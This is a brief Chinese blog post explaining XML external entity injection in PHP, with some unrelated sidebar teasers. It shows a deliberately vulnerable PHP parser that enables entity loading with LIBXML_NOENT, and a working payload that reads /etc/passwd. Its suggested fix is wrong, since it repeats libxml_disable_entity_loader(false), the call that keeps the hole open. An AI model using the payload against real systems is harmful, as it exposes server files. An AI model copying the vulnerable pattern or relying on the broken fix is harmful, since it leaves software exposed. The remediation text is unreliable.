XML实体注入漏洞

xiaohai 2021-05-15 21:22:12 共1860人围观 标签： php 
简介XML实体注入漏洞

参考链接

<?php
libxml_disable_entity_loader(false);
//第一种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = simplexml_load_string($data, 'SimpleXMLElement', LIBXML_NOENT); //必须要有这个SimpleXMLElement
    var_dump($xml); 
}

//第二种
$data = isset($_POST['data'])?trim($_POST['data']):'';
$resp = '';
if($data != false){
    $xml = new SimpleXMLElement($data, LIBXML_NOENT);
    var_dump($xml);
}
?>

那么POST的data数据为：

<?xml version="1.0"?>
<!DOCTYPE ANY [
    <!ENTITY content SYSTEM "file:///etc/passwd">
]>
<note>
    <name>&content;</name>
</note>

如果需要修复，只需要在前面加上：

libxml_disable_entity_loader(false);

相同类型文章

热门标签

每日一句

    普通人都难以忍受的孤独，处在逆境中的人由于不信任任何人，对这种孤立更加敏感。

    ——巴尔扎克

今日排行

  • 有向图(Digraph)

    有向图根无向图的最大区别在于有向图是具有方向的，所以在实现上也会有很大的不同。

  • OpenCV-Python图像类型转换

    OpenCV-Python图像类型转换是用cv2.cvtcolor()函数，用于将图像从一个颜色空间转换为另一个颜色空间。它的参数包括输入图像、目标颜色空间和转换方式。例如，将RGB图像转换为灰度图像可以使用cv2.COLOR_RGB2GRAY作为转换方式。

  • 平衡树(Balance Tree，BT)

    平衡树(Balance Tree，BT) 指的是，任意节点的子树的高度差都小于等于1。

  • Mysql和MongoDB查询排名

    如何通过查询语句来查询某个数据的排名，本文主要介绍MySql和MongoDB两种数据库的查询方式来进行排名。

  • XML实体注入漏洞

    XML实体注入漏洞

点击排行

友情链接